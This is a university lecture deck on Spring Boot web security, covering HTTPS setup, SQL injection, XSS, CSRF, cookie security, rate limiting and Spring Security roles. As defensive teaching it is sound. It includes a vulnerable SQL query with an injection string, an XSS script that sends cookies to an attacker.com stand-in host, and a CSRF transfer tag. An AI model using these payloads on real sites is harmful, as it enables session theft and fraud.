WEB DESIGN AND PROGRAMMING

SECURITY: COMPREHENSIVE SECURITY GUIDE

7

FATİH SULTAN MEHMET VAKIF ÜNİVERSİTESİ

ASST. PROF. DR. SAMET KAYA

skaya@fsm.edu.tr

kysamet@gmail.com

HTTP Protocol Overview

- **What is HTTP?**
  - **HyperText Transfer Protocol**
  - **Client-Server Request-Response Model**
  - **4 Key Characteristics:**
    - **Stateless**: Server doesn't remember previous requests
    - **Text-Based:** Human-readable format (HTTP/1.x)
    - **Request-Response:** Client initiates, server responds
    - **Connectionless**: Connection opens/closes per request

HTTP Request Structure

- Components:

GET /products HTTP/1.1

Host: www.example.com

User-Agent: Mozilla/5.0

Authorization: Bearer eyJhbGc...

Cookie: JSESSIONID=ABC123

[Request Body - for POST/PUT]

- **Request Line:** Method + URL + Version
- **Headers**: Metadata (Authorization, Accept, etc.)
- **Body:** Data sent to server (POST, PUT, PATCH)

HTTP Methods

- Key Concepts:
  - **Idempotent**: Same result regardless of repetition
  - **Safe**: Doesn't modify server data

Method	Purpose	Idempotent	Safe
GET	Read/List data	✓	✓
POST	Create new resource	X	X
PUT	Full update/create	✓	X
PATCH	Partial update	X	X
DELETE	Remove resource	✓	X

HTTP Status Codes

- 5 Categories:
- **1xx - Informational:**
  - Request received, processing continues
- **2xx - Success: Request successfully processed**
  - 200 OK, 201 Created, 204 No Content
- **3xx - Redirection: Additional action needed**
  - 301 Moved Permanently, 302 Found, 304 Not Modified
- **4xx - Client Errors: Invalid request**
  - 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found
- **5xx - Server Errors: Server failed to fulfill request**
  - 500 Internal Server Error, 503 Service Unavailable

HTTPS & SSL/TLS

- **HTTP (80) vs HTTPS (443):**
  - **HTTP**: Unencrypted, plain text transmission
  - **HTTPS**: SSL/TLS encrypted, secure transmission
- **Benefits of HTTPS:**
  - **Privacy**: Data encrypted, unreadable by third parties
  - **Integrity**: Data cannot be modified, tampering detected
  - **Authentication**: Server identity verified via SSL certificate
  - **SEO**: Google prioritizes HTTPS sites

Spring Boot HTTPS Configuration


```
# SSL (HTTPS) Configuration
server.port=8443
server.ssl.enabled=true
server.ssl.key-store=classpath:keystore.p12
server.ssl.key-store-password=changeit
server.ssl.key-store-type=PKCS12
server.ssl.key-alias=tomcat


# force for HTTPS (for Cookie security mandotory)
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true
 server.servlet.session.cookie.same-site=strict
```

Self-Signed Certificate (Development) - 1

- **Step 1:** Generate Certificate
- Navigate to src/main/resources and run:

```
keytool -genkeypair -alias tomcat -keyalg RSA -keysize 2048 \ -storetype PKCS12 -keystore keystore.p12 -validity 3650
```

- **Prompts:**
  - Enter keystore password: changeit (or 123456)
  - Re-enter password: changeit
  - Name, Organization, etc.: Can leave blank or enter any value
  - Confirm: Y
- **Result**: keystore.p12 file created in src/main/resources

Self-Signed Certificate (Development) - 2

❖ Step 2: Configure application.properties

```
# SSL (HTTPS) Configuration

server.port=8443

server.ssl.enabled=true

server.ssl.key-store=classpath:keystore.p12

server.ssl.key-store-password=changeit

server.ssl.key-store-type=PKCS12

server.ssl.key-alias=tomcat
```

❖ Step 3: Force HTTPS in Security Config

```
@Bean

public SecurityFilterChain filterChain(HttpSecurity http) throws
Exception {

  http

    // Force HTTPS for all requests

    .requiresChannel(channel -> channel

      .anyRequest().requiresSecure()

    )

    // ... other configurations

  return http.build();

}
```

Local HTTPS Test

- **Access your application:**
  - https://localhost:8443/
- **Expected Browser Warning**:
  - "Not Secure" or "Your connection is not private"
  - This is NORMAL for self-signed certificates
- **Why the warning?**
  - Self-signed certificate is not recognized by trusted Certificate Authorities
  - Browser cannot verify the certificate issuer
  - For development only - production needs trusted certificates (Let's Encrypt)

Let's Encrypt - Free SSL Certificates

- **What is Let's Encrypt?**
  - Non-profit global Certificate Authority (CA)
  - Provides free, automated, and trusted SSL certificates
  - Recognized by all modern browsers (Chrome, Firefox, Safari, etc.)
  - Certificates valid for 90 days with automatic renewal
- **Why Let's Encrypt?**
  - Free: No cost for domain SSL certificates
  - Automated: Certificate issuance and renewal via software (Certbot)
  - Trusted: Globally recognized, no browser warnings
  - SEO Friendly: Google prioritizes HTTPS sites

Let's Encrypt - Implementation

- **Step 1:** Prerequisites
  - Real domain name (e.g., api.mysite.com)
  - Server port 80 (HTTP) open to internet
  - Note: Does NOT work on localhost
- **Step 2:** Install Certbot & Request Certificate

```
# Install Certbot

sudo apt-get update

sudo apt-get install certbot

# Request certificate (Standalone mode)

sudo certbot certonly --standalone -d
api.mysite.com
```

- **Step 3: Convert to PKCS12 Format**
- **Step 4: Make Spring Boot Configuration**

```
server.port=8443

server.ssl.enabled=true

server.ssl.key-store=file:/etc/ssl/keystore.p12

# Or if in resources folder:

# server.ssl.key-store=classpath:keystore.p12

server.ssl.key-store-password=yourpassword

server.ssl.key-store-type=PKCS12

server.ssl.key-alias=tomcat
```

Common Security Threats

- SQL Injection
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Session Hijacking & Cookie Security
- Brute Force Attacks & Rate Limiting

SQL Injection

- What is it?
  - **Attacker injects malicious SQL code into queries**
- Vulnerable Code:

```
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

// username = "admin' OR '1'='1"
```

- **Protection:**
  - Prepare Statament

```
String query = "SELECT * FROM users WHERE username = ? AND password = ?";

PreparedStatement stmt = connection.prepareStatement(query);

stmt.setString(1, username);

stmt.setString(2, password);
```

  - **Use JPA/Hibernate**

```
@Query("SELECT u FROM User u WHERE u.username = :username")

Optional<User> findByUsername(@Param("username") String username);
```

Cross-Site Scripting (XSS)

- What is it?
  - Attacker injects malicious client-side scripts into trusted websites
- Attack Example:

```
<!- user comment-->

<script>

document.location='http://attacker.com/steal?cookie='+document.cookie;

</script>
```

- Protection in Thymeleaf (Escaping):

```
// Thymeleaf otomaticaly escape

<p th:text="${userComment}"></p> // secured

// if you want to render as HTML (carefully use)

<p th:utext="${trustedHtml}"></p> // potentialy risk
```

- Spring Security, add otomatically XSS header

```
XSS-Protection: 1; mode=block
```

Cross-Site Request Forgery (CSRF)

- **What is it?**
  - Attacker tricks user's browser into making unwanted requests to authenticated sites
- **How it works:**
  1. User logged into bank.com
  2. User visits attacker's site
  3. Attacker's page contains: `<img src="https://bank.com/transfer?to=attacker&amount=1000">`
  4. Browser automatically sends cookies, bank processes transfer

- **Protection: CSRF Token**

```
<!- adding CSRF token -->

<form th:action="@{/products}"
method="post">

    <input type="hidden"
th:name="${_csrf.parameterName}"
th:value="${_csrf.token}" />

    <!-- Form areas -->

</form>



<!-- Thymeleaf add otomaticaly-->

<form th:action="@{/products}"
method="post">

    <!-- CSRF token otomatically added -->

</form>
```

Session Hijacking & Cookie Security

- **What is it?**
  - Attacker steals user's session ID (JSESSIONID) to impersonate them
- **Protection: Secure Cookie Settings**
  1. **Secure**: Cookies are sent only over HTTPS (encrypted) connections. Even if the network is eavesdropping, the cookie cannot be read.
  2. **HttpOnly**: The cookie cannot be accessed by writing the document.cookie with JavaScript. This prevents cookie theft through XSS attacks.
  3. **SameSite**: Limits whether the cookie can be sent in requests from another site (supports CSRF protection).
- **Application Properties:**

```
server.servlet.session.cookie.secure=true

server.servlet.session.cookie.http-only=true

server.servlet.session.cookie.same-site=strict
```

Brute Force Attacks & Rate Limiting

- **What is it?**
  - Attacker tries all possible password combinations
- **Protection: Login Attempt Service**
  - Rate Limiting The system must limit the number of failed login attempts within a specified time period.
  - **Logic**: The *LoginAttemptService* class increments a counter for the username for each failed attempt.
  - **Blocking**: If the MAX_*ATTEMPTS* limit (e.g., 5) is reached, Block all attemps
  - **Resetting**: The counter is reset after a successful login.

```
// Rate limiting
@Service
public class LoginAttemptService {
private final Map<String, Integer> attemptsCache = new
ConcurrentHashMap<>();
    private static final int MAX_ATTEMPTS = 5;
    public void loginFailed(String username) {
        int attempts =
attemptsCache.getOrDefault(username, 0);
        attemptsCache.put(username, attempts + 1);
    }
    public boolean isBlocked(String username) {
        return attemptsCache.getOrDefault(username, 0)
>= MAX_ATTEMPTS;
    }
    public void loginSucceeded(String username) {
        attemptsCache.remove(username);
    }
}
```

Clickjacking Attack

- **What is it?**
  - Attacker overlays a transparent <iframe> of a legitimate site over their malicious site
- **How it works:**
  1. User visits attacker's site
  2. Attacker's page shows "Watch Video" button
  3. Behind it, invisible bank site with "Confirm Transfer" button
  4. User clicks thinking they're watching video
  5. Actually clicking bank's transfer button

- **Protection:**
  - **DENY**: Page cannot be displayed in any frame
  - **SAMEORIGIN**: Only same domain can frame the page
  - **X-Frame-Options Header**

```
// Spring Security add otomaticaly

X-Frame-Options: DENY

// Cınfiguration

http.headers(headers -> headers

    .frameOptions(frame -> frame.deny())

);
```

Security Headers

- **HTTP Response Headers for Browser Security:**

```
X-Content-Type-Options: nosniff

X-Frame-Options: DENY

X-XSS-Protection: 1; mode=block

Strict-Transport-Security: max-age=31536000; includeSubDomains

Content-Security-Policy: default-src 'self'
```

- **Purpose:**
  - **X-Content-Type-Options:** Prevents MIME type sniffing
  - **X-Frame-Options:** Prevents clickjacking
  - **HSTS**: Forces HTTPS communication
  - **Content-Security-Policy (CSP):** Controls resource loading sources

Spring Security Philosophy

- **"Security Guard at the Door"**
- **Two fundamental questions**:
  1. **Authentication**: "Who are you?" (Login process)
  2. **Authorization**: "Are you allowed here?" (Role check)
- **Filter Chain Concept:**
  - **Request → AuthenticationFilter → SecurityContext → FilterSecurityInterceptor → Controller**

Authentication Architecture

❖ **Key Components:**

1. **UserDetailsService**: Translates your User entity to Spring's UserDetails

```
@Override
public UserDetails loadUserByUsername(String username) {
  User user = userRepository.findByUsername(username)
    .orElseThrow(() -> new UsernameNotFoundException("User not found"));
  return org.springframework.security.core.userdetails.User
    .withUsername(user.getUsername())
    .password(user.getPassword())
    .roles(user.getRole())
    .build();
}
```

2. **PasswordEncoder:** Hashes passwords (BCrypt)

Authorization - URL Level Security

- This is done with *requestMatchers* in the *SecurityConfig*. This is the crudest but most basic protection.
  - **permitAll():** Anyone can enter (Home page, Login page).
  - **authenticated():** Only those who are logged in can enter.
  - **hasRole("ADMIN"):** Only those whose role is ROLE_ADMIN in the database can enter.
- **Note**: When you write hasRole("ADMIN"), Spring searches the database for ROLE_ADMIN in the background.

```
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) {
  http.authorizeHttpRequests(auth -> auth
    .requestMatchers("/", "/login", "/register")
      .permitAll()
    .requestMatchers("/admin/**")
      .hasRole("ADMIN")
    .requestMatchers("/products/**")
      .authenticated()
    .anyRequest().denyAll()
  );
  return http.build();
}
```

Authorization - Method Level Security

- Benefits:
  - More flexible than URL-level
  - Closer to business logic
  - Supports complex conditions

```
@EnableMethodSecurity

@Configuration

public class SecurityConfig { }



// In Service/Controller:

@PreAuthorize("hasRole('ADMIN') or #userId == authentication.principal.id")

public void deleteUser(Long userId) {

   // Only ADMIN or the user themselves can delete

}
```

Role Hierarchy

- **Problem**: ADMIN should have all MANAGER and USER permissions
- **Solution**:

```
@Bean
public RoleHierarchy roleHierarchy() {
  RoleHierarchyImpl hierarchy = new RoleHierarchyImpl();
  hierarchy.setHierarchy(
    "ROLE_ADMIN > ROLE_MANAGER \n" +
    "ROLE_MANAGER > ROLE_USER"
  );
  return hierarchy;
}
```

- **Result**: ADMIN automatically gets MANAGER and USER permissions

Session Management

❖ **How it works:**

1. **User logs in successfully**
2. **Server generates JSESSIONID**
3. **Sent to browser as Cookie**
4. **Browser sends cookie with every request**
5. **Server recognizes user via cookie**

❖ Configuration:

java

```
.sessionManagement(session -> session
   .sessionFixation().migrateSession()  // New ID on login
   .maximumSessions(1)  // Max 1 device
   .expiredUrl("/login?expired=true")
)
```

properties

```
# Session timeout: 30 minutes
server.servlet.session.timeout=30m
```

Remember-Me Functionality

- Purpose: Keep user logged in even after browser closes
- Backend Configuration:

```
.rememberMe(remember -> remember
   .key("unique-secret-key")
   .tokenValiditySeconds(7 * 24 * 60 * 60) // 7 days
   .userDetailsService(userDetailsService)
)
```

- Frontend (Login Form):

```
<div class="form-group">
   <input type="checkbox" id="remember-me" name="remember-me">
   <label for="remember-me">Remember Me</label>
</div>
```

Conditional Authentication Rendering with Thymeleaf


```
<!-- Show only to authenticated users -->
<div sec:authorize="isAuthenticated()">
  <a href="/profile">My Profile</a>
</div>
<!-- Show only to anonymous users -->
<div sec:authorize="isAnonymous()">
  <a href="/login">Login</a>
</div>
<!-- Show only to ADMIN -->
<button sec:authorize="hasRole('ADMIN')"
    onclick="deleteUser()">Delete User</button>
```

Custom Error Pages

- Handling Authorization Failures (403 Forbidden):

```
// SecurityConfig
.exceptionHandling(ex -> ex
  .accessDeniedPage("/access-denied")
)

// Controller
@GetMapping("/access-denied")
public String accessDenied(){
  return "error/403"; // templates/error/403.html
}
```

Complete Authentication Flow

1. Login Request: Browser → UsernamePasswordAuthenticationFilter
2. Validation: AuthenticationManager → UserDetailsService (fetch from DB) → PasswordEncoder (compare hash)
3. Success: Create Session, save to SecurityContext, send Cookie to browser
4. Next Request (e.g., /admin): Browser sends Cookie → Spring Security recognizes user
5. Authorization Check: Does user have ROLE_ADMIN? → Yes → Execute Controller

Summary & Best Practices

- Key Takeaways:
  - **Always use HTTPS in production**
  - **Never store plain text passwords**
  - **Implement CSRF protection for state-changing operations**
  - **Use Prepared Statements to prevent SQL Injection**
  - **Escape user input to prevent XSS**
  - **Configure secure cookie settings**
  - **Implement rate limiting for login attempts**
  - **Use role hierarchy for cleaner authorization**
  - **Show/hide UI elements based on user roles**

ASST. PROF. DR. SAMET KAYA

FATIH SULTAN MEHMET VAKIF UNIVERSITY

skaya@fsm.edu.tr

kysamet@gmail.com

Some images and icons in this presentation are sourced from Freepik.